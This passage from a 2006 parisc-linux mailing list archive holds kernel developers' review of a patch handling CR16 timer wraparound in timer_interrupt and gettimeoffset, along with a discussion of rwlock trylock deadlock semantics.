> 30 Aug 23:51:13 ntpdate[14051]: step time server 203.217.30.156 offset 60.165510 sec
> 30 Aug 23:51:39 ntpdate[14053]: step time server 203.217.30.156 offset 13.065388 sec
> 30 Aug 23:52:04 ntpdate[14055]: step time server 195.234.188.26 offset 11.578574 sec
> 30 Aug 23:52:31 ntpdate[14058]: step time server 203.217.30.156 offset 13.954358 sec
> ...

Technically it is implementation dependant, and can be as low as 1/2
the peak instruction rate. In correcting timer_interrupt, I remember
removing what I thought was a spurious 'clocktick' addition in the
implementation. Does cr16 *actuall* count at the instruction rate, or
does it count at 1/2 rate?

> > A. cr16 is treated as an unsigned long.
> > B. The following 3 scenarios exist.
> >
> > 1. The timer interrupt fires, and 'now' comes after 'next_tick'
>
> This is the "normal" case I think. 'now' should always lag behind
> 'next_tick' and how much depends on how long interrupts are blocked
> on that CPU.

Sounds good.

> > 2. The timer interrupt fires, and 'now' has wrapped and is before
> > 'next_tick'
> > 3. The timer interrupt fires, and 'now' is *just* before 'next_tick'
> >
> > In theory 99% of the time we should be in scenario 1. On occasion we
> > may miss a timer interrupt, end up close to wrapping, and we get
> > scenario 2.
>
> I'll assert we don't need to miss a timer interrupt to hit Scenario 2.
> All we need is a timer interrupt that scheduled near 4GB (but below)
> and 'normal' lag in interrupt delivery/handling will allow the
> CR16 to wrap.

A timer interrupt that is scheduled near the 4GB boundary is what I
meant by "end up close to wrapping." You are right that interrupt
delivery/handling lag might mean cr16 would wrap without causing a
missed interrupt.

> > Scenario 3 is just plain wrong and for now I will BUG() if
> > the timer fires before we intended.
>
> I agree.

I think the detection of Scenario 3 is wrong in your patch, I'll
epxlain further down in the code.

> ...
> > I assert that 'gettimeoffset' should never return a negative value. It
> > represents the postive adjustment accounting for the fact that we are
> > *part* of the way through a tick.
>
> I have to think about this more. But I wonder if how "halftick" is
> handled in timer_interrupt does not play well with this concept.

There is a bug here because of this, you are right to be warry of the
halftick adjustment. It is also needed in gettimeoffset, or "now" will
appear before "next_tick" without wrapping.

> Please review and see if I added any new bugs.

There is 1 addtional bug.

> Note that I replaced the "~0UL - XXX" with "~ XXX".
> I'll be off by one cycle. I don't care.
>
> thanks,
> grant
>
>
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index 5facc9b..9f6cf58 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -44,34 +44,58 @@ #endif
>
>  irqreturn_t timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
>  {
> -       long now;
> -       long next_tick;
> -       int nticks;
> +       unsigned long now;
> +       unsigned long next_tick;
> +        unsigned long remainder;
> +       unsigned long ticks_elapsed = 0;
>         int cpu = smp_processor_id();
>
>         profile_tick(CPU_PROFILING, regs);
>
> -       now = mfctl(16);
> -       /* initialize next_tick to time at last clocktick */
> +       /* Initialize next_tick to the expected tick time. */
>         next_tick = cpu_data[cpu].it_value;
>
> -       /* since time passes between the interrupt and the mfctl()
> -        * above, it is never true that last_tick + clocktick == now.  If we
> -        * never miss a clocktick, we could set next_tick = last_tick + clocktick
> -        * but maybe we'll miss ticks, hence the loop.
> -        *
> -        * Variables are *signed*.
> +       /* Get current interval timer.
> +        * CR16 reads as 64 or 32 bit value depending CPU wide/narrow mode.
>          */
> +       now = mfctl(16);
> +
> +       /* Determine how much time elapsed.  */
> +       if (now > next_tick) {
> +               /* Scenario 1: "now" is late. A bit late is normal. */
> +               ticks_elapsed = (now - next_tick) / clocktick;
> +               remainder = now - (ticks_elapsed * clocktick);

What have you got against modulo? The correct math is as follows.

remainder = now - next_tick - ticks_elapsed * clocktick;

> +       }
> +        else {
> +               /* "now" is either early or cr16 wrapped.  */
> +               if (~next_tick < clocktick) {

Too clever for me :)

> +                       unsigned long difference;
> +
> +                       /* Scenario 2: A missed clock tick would wrap. */
> +                       difference = ~0UL - (next_tick - now);
> +                       ticks_elapsed = difference / clocktick;
> +                       remainder = difference % clocktick;
> +               } else {
> +                       /* Scenario 3: We didn't miss a clock tick.
> +                          "now" is early?  */
> +                       printk ("timer_interrupt: Now is early, now = %lx, next_tick = %lx, clocktick = %lx\n", now, next_tick, clocktick);
> +                       BUG ();
> +               }
> +       }
>
> -       nticks = 0;
> -       while((next_tick - now) < halftick) {
> -               next_tick += clocktick;
> -               nticks++;
> +       if (remainder > halftick) {
> +               /* More than 1/2 way into the next tick. It counts.  */
> +               ticks_elapsed++;
>         }
> +
> +       /* Add any full ticks that have elapsed plus the one we want next. */
> +       next_tick += (ticks_elapsed + 1) * clocktick;
> +
> +        /* Only bottom 32-bits of next_tick are written to cr16.  */
>         mtctl(next_tick, 16);
>         cpu_data[cpu].it_value = next_tick;
>
> -       while (nticks--) {
> +       while (ticks_elapsed--) {
>  #ifdef CONFIG_SMP
>                 smp_do_timer(regs);
>  #else
> @@ -124,21 +148,47 @@ #ifndef CONFIG_SMP
>          *    Once parisc-linux learns the cr16 difference between processors,
>          *    this could be made to work.
>          */
> -       long last_tick;
> -       long elapsed_cycles;
> +       unsigned long now;
> +       unsigned long last_tick;
> +       unsigned long next_tick;
> +       unsigned long next_next_tick;
> +       unsigned long elapsed_cycles;
> +       unsigned long usec;
> +       unsigned long lost;
>
>         /* it_value is the intended time of the next tick */
> -       last_tick = cpu_data[smp_processor_id()].it_value;
> +       next_tick = cpu_data[smp_processor_id()].it_value;
> +       next_next_tick = next_tick + clocktick;
>
> -       /* Subtract one tick and account for possible difference between
> -        * when we expected the tick and when it actually arrived.
> -        * (aka wall vs real)
> -        */
> -       last_tick -= clocktick * (jiffies - wall_jiffies + 1);
> -       elapsed_cycles = mfctl(16) - last_tick;
> +       /* This represents lost jiffies.  */
> +       lost = clocktick * (jiffies - wall_jiffies);
> +
> +       /* We roll back 1 tick.  */
> +       last_tick = next_tick - clocktick;
> +
> +       /* Read the hardware interval timer.  */
> +       now = mfctl(16);
> +
> +       if (now > last_tick) {
> +               /* Scenario 1: "now" is later than last_tick.  */
> +               elapsed_cycles = now - last_tick;
> +       } else {
> +               /* "now" is either early or cr16 wrapped.  */
> +               if (next_next_tick < last_tick) {

This could also use your clever "~next_tick < clocktick" trick.
Remember this is only a heuristic to catch wrapping.

> +                       /* Scenario 2: A missed clock tick would wrap. */
> +                       elapsed_cycles = ~0UL - (last_tick - now);
> +               } else {
> +                       /* Scenario 3: We didn't miss a clock tick.
> +                          "now" is early?  */
> +                       printk ("gettimeoffset: Now is early, now = %lx, last_tick = %lx, next_tick = %lx, clocktick = %lx\n", now, last_tick, next_tick, clocktick);
> +                       BUG ();
> +               }
> +       }

Somwhere in thie function we need to makeup for the halftick...

> -       /* the precision of this math could be improved */
> -       return elapsed_cycles / (PAGE0->mem_10msec / 10000);
> +       /* FIXME: Improve precision. */
> +       usec = elapsed_cycles * 10000 / PAGE0->mem_10msec;
> +       usec += lost;
> +       return usec;
>  #else
>         return 0;
>  #endif

Joel has already seen a BUG, which IMO is caused by gettimeoffset not
taking into account the halftick.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gettimeofday() issue on D270
Date: Thu, 31 Aug 2006 15:03:01 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440608311203o181a7c87p378b2fd60e1080d5@mail.gmail.com>
References: <20060827151741.fe94122d.gmsoft@tuxicoman.be>
	<119aab440608271231j3856ea27h7c03e1c9722ae7e1@mail.gmail.com>
	<20060827222653.3f3ef48d.gmsoft@tuxicoman.be>
	<20060830235805.GJ3926@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624169 20829 80.91.229.3 (22 Nov 2014 02:42:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:49 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
 parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 19:03:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 31 Aug 2006 21:03:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E56C7D8AB;
	Thu, 31 Aug 2006 13:03:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02515-10; Thu, 31 Aug 2006 13:03:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 225D87D8AC;
	Thu, 31 Aug 2006 13:03:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43D597D8A3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 13:03:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02556-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 13:03:03 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.232])
	by free.linux.hp.com (Postfix) with ESMTP id 0C33E7D89A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 13:03:03 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i28so282516wra
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 12:03:02 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=RV7OoyCNc4h0+u8rT2lUauoIX1Aiwv434qbbHLI2BST+JpyA/ph+S+D2dg3VxMPx+zj77SSuIkYjkrIK+D8KkwGegpHUavbVsjAOj11927u4ELKmnqwKy/vBRvy1HIEFHQFc670lNTS6jIHRAKpha7dUSfZJDcjxG0WiZu+bAHs=
Original-Received: by 10.90.63.16 with SMTP id l16mr317388aga;
	Thu, 31 Aug 2006 12:03:02 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Thu, 31 Aug 2006 12:03:01 -0700 (PDT)
In-Reply-To: <20060830235805.GJ3926@athena.road.mcmartin.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 96b486c2dad5480c
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FlafCWgZbHIyX63NNjQ0+5MqJihyapDh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23944

On 8/30/06, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Sun, Aug 27, 2006 at 10:26:53PM +0200, Guy Martin wrote:
> > I wasn't able to reproduce at all on my C3600.
>
> Is your C3600 running a 64bit kernel?

No, I purposely run a 32-bit kernel for testing.

> CR16 is 4294967296 times bigger on a 64bit kernel, whereas
> the clockspeed of your C3600 is only about 4x faster...

Uh? I don't quite grok what you mean there.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Thu, 31 Aug 2006 15:46:50 -0600
Lines: 144
Approved: news@gmane.org
Message-ID: <20060831214650.GC16032@colo.lackof.org>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
	<119aab440608311152m28ef65f6ud3db46b12c59d3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624170 20834 80.91.229.3 (22 Nov 2014 02:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:50 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 21:47:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 31 Aug 2006 23:47:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 498127D7CA;
	Thu, 31 Aug 2006 15:46:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04217-08; Thu, 31 Aug 2006 15:46:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65D0A7D876;
	Thu, 31 Aug 2006 15:46:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E5637D7C8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 15:46:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03996-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 15:46:54 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id CF86D7D775
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 15:46:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 334E839824B;
	Thu, 31 Aug 2006 15:46:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11744-07; Thu, 31 Aug 2006 15:46:50 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A73283680DB; Thu, 31 Aug 2006 15:46:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440608311152m28ef65f6ud3db46b12c59d3@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 62/FdWVQIyd1EvqQe2drDn5aa2FkZpWd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23945

On Thu, Aug 31, 2006 at 02:52:44PM -0400, Carlos O'Donell wrote:
...
> >> 2. No attempt is made to handle cr16 wrapping.
> >
> >The signed math was supposed to handle it.
> >I believe it did but forgot details since looking at
> >it a few years ago.
> 
> That is *even* worse, signed arithmetic overflow is compiler
> implementation dependant. It's also therefore not very nice C code.
> The overflow case is in the middle of the 32-bit range now, where you
> had a very large positive number which wraps to a very large negative
> number. The gap is almost the entire 32-bit range, or 27 seconds on a
> 160Mhz box as we have shown already.

I think it's arbitrary where the overflow occurs.
Maybe unsigned math overflow is easier to visualize/understand.
At least it is for me.

> >I personally prefer to NOT use signed math in this case.
> >But that's honestly not a great reason to change this code.
> >I'd really prefer some evidence the kernel code is wrong.
> 
> I agree, this patch was an attempt to provide an alternate
> implementation that made sense and was maintainer friendly. I believe
> we should be able to get this working better and handle the failures
> seen on the slower boxes.

Yes. I'm now pretty sure the fix for that will be in gettimeoffset()
and not in timer_interrupt(). But I agree the two functions are very
similar but have to handle slightly different corner cases.

> >13.065388 sec
> >30 Aug 23:52:04 ntpdate[14055]: step time server 195.234.188.26 offset 
> >11.578574 sec
> >30 Aug 23:52:31 ntpdate[14058]: step time server 203.217.30.156 offset 
> >13.954358 sec
> >...
> 
> Technically it is implementation dependant, and can be as low as 1/2
> the peak instruction rate. In correcting timer_interrupt, I remember
> removing what I thought was a spurious 'clocktick' addition in the
> implementation.

I was thinking the opposite: I'm missing a "tick_elapsed" count
on each timer interrupt.

>  Does cr16 *actuall* count at the instruction rate, or
> does it count at 1/2 rate?

I _believe_ all implementations count at the actual rate.
At least I'm not aware of any implementations that don't
count at the advertized clock speed.

...
> I think the detection of Scenario 3 is wrong in your patch, I'll
> epxlain further down in the code.
...

> 
> >...
> >> I assert that 'gettimeoffset' should never return a negative value. It
> >> represents the postive adjustment accounting for the fact that we are
> >> *part* of the way through a tick.
> >
> >I have to think about this more. But I wonder if how "halftick" is
> >handled in timer_interrupt does not play well with this concept.
> 
> There is a bug here because of this, you are right to be warry of the
> halftick adjustment. It is also needed in gettimeoffset, or "now" will
> appear before "next_tick" without wrapping.

Sorry - this didn't make sense. Can you provide an example?
For simplicity assume a 5 bit counter and pick the values
that illustrate your case.


> >Please review and see if I added any new bugs.
> 
> There is 1 addtional bug.
...
> >+       /* Determine how much time elapsed.  */
> >+       if (now > next_tick) {
> >+               /* Scenario 1: "now" is late. A bit late is normal. */
> >+               ticks_elapsed = (now - next_tick) / clocktick;
> >+               remainder = now - (ticks_elapsed * clocktick);
> 
> What have you got against modulo?

Modulo is a division.
Division is much more expensive than integer multiplication.
Is there a way to do the division once _and_ get the remainder?

My assumption that integer multiplication is "cheaper"
could be wrong.

>  The correct math is as follows.
> 
> remainder = now - next_tick - ticks_elapsed * clocktick;

Erm, no.  ticks_elapsed was calculated here:
	ticks_elapsed = (now - next_tick) / clocktick;

(the line above.)
I'm taking advantage of truncation since this is integer division.
That make more sense?

> >+               /* "now" is either early or cr16 wrapped.  */
> >+               if (~next_tick < clocktick) {
> 
> Too clever for me :)

Now I'm worried. :)
I've already removed this code in the version I'm working on now.

...
> >+       } else {
> >+               /* "now" is either early or cr16 wrapped.  */
> >+               if (next_next_tick < last_tick) {
> 
> This could also use your clever "~next_tick < clocktick" trick.
> Remember this is only a heuristic to catch wrapping.

Yup - I'll post a new version that boots 64-bit correctly in a bit.
I've still not got the "wrapping" rules correct.

...
> Somwhere in thie function we need to makeup for the halftick...

Hrm. I need to think more about that. You might be right.

> Joel has already seen a BUG, which IMO is caused by gettimeoffset not
> taking into account the halftick.

ok. I was just looking at that.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Fri, 1 Sep 2006 08:01:23 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <20060901140123.GB5658@parisc-linux.org>
References: <44F5F3CB.30806@scarlet.be>
	<20060831035932.GB4919@parisc-linux.org>
	<20060831060637.GF3999@colo.lackof.org>
	<20060831123135.GC4919@parisc-linux.org>
	<20060831162740.GB16032@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624170 20837 80.91.229.3 (22 Nov 2014 02:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Sep 2006 14:01:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 01 Sep 2006 16:01:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A34247D884;
	Fri,  1 Sep 2006 08:01:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18188-03; Fri, 1 Sep 2006 08:01:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 846297D874;
	Fri,  1 Sep 2006 08:01:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 575037D872
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 08:01:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17726-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Sep 2006 08:01:24 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 377487D868
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 08:01:24 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id CFEFC494006; Fri,  1 Sep 2006 08:01:23 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060831162740.GB16032@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cUiZINBla0AoXL6aejEzBMg3Njh6dI7W
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23946

On Thu, Aug 31, 2006 at 10:27:40AM -0600, Grant Grundler wrote:
> trylock() variants are expected to fail some of the time.
> But I agree readers should never fail because of another reader.
> I guess we have to implement some number of retries (less than 5?).

I don't think we need retries; we're guaranteed to make forward
progress.  If we fail to acquire the lock, it's because it's either held
for a short duration by a reader, or for a long duration by a writer.
If it's a writer, we'll fail due to the counter being negative; if it's
a reader, we'll succeed soon.  Mmm.  Unless, of course, we interrupted a
read-locker ... crap.  They need to take the lock in an irqsafe way too.

> > But this leads to deadlock if called from interrupt context and the CPU
> > had got to:
> > 
> > static  __inline__ void __raw_write_lock(raw_rwlock_t *rw)
> > {
> > retry:
> >         __raw_spin_lock(&rw->lock);
> > 
> > <<<- here
> > 
> > and hadn't set counter to -1.
> 
> Drop the "if (rw->counter < 0)" test and we won't have a deadlock.
> But your next idea on fixing that sounds good to me for other reasons.

I don't understand why you think that.  Can you explain?

> > Now, we can fix that:
> > 
> > static  __inline__ void __raw_write_lock(raw_rwlock_t *rw)
> > {
> > 	unsigned long flags;
> > retry:
> > 	local_irq_save(flags);
> >         __raw_spin_lock(&rw->lock);
> ...
> 
> I'm thinking we want to block interrupts here anyway to make sure
> the writer gets done and releases the spinlock.

Umm.  Sounds like a spectacularly bad idea.  If the caller wanted to do
that, they would have called write_lock_irqsave() or write_lock_irq().

> I'm also wondering if the writer code paths need to include "mb()"
> to prevent the compiler and/or other back-end optimizers from
> re-organizing the instruction stream and "leaking" other code
> before "counter = -1" is set. James Bottomley already
> fixed our regular spinlocks for this problem once before.

With the out-of-line spinlocks (and for that matter, write locks),
that's not going to matter.  The only place that calls
__raw_write_lock() is in kernel/spinlock.c, so there's no way for gcc to
optimise that away.  I can put it in anyway, since it's not going to
make a difference.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Fri, 1 Sep 2006 09:57:31 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20060901155731.GA4041@colo.lackof.org>
References: <44F5F3CB.30806@scarlet.be>
	<20060831035932.GB4919@parisc-linux.org>
	<20060831060637.GF3999@colo.lackof.org>
	<20060831123135.GC4919@parisc-linux.org>
	<20060831162740.GB16032@colo.lackof.org>
	<20060901140123.GB5658@parisc-linux.org>
